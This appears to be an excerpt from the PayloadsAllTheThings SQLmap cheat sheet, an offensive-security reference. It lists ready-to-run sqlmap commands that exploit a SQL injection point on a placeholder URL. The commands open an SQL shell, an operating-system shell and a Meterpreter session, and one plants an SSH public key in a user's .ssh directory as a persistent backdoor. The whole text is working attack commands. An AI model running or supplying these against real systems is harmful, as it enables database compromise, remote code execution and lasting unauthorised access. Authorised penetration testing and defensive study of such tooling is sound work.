* SQL Shell: ```ps1 sqlmap -u "http://example.com/?id=1" -p id --sql-shell ``` * OS Shell: ```ps1 sqlmap -u "http://example.com/?id=1" -p id --os-shell ``` * Meterpreter: ```ps1 sqlmap -u "http://example.com/?id=1" -p id --os-pwn ``` * SSH Shell: ```ps1 sqlmap -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/ ```
Source: SQL Injection/SQLmap.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.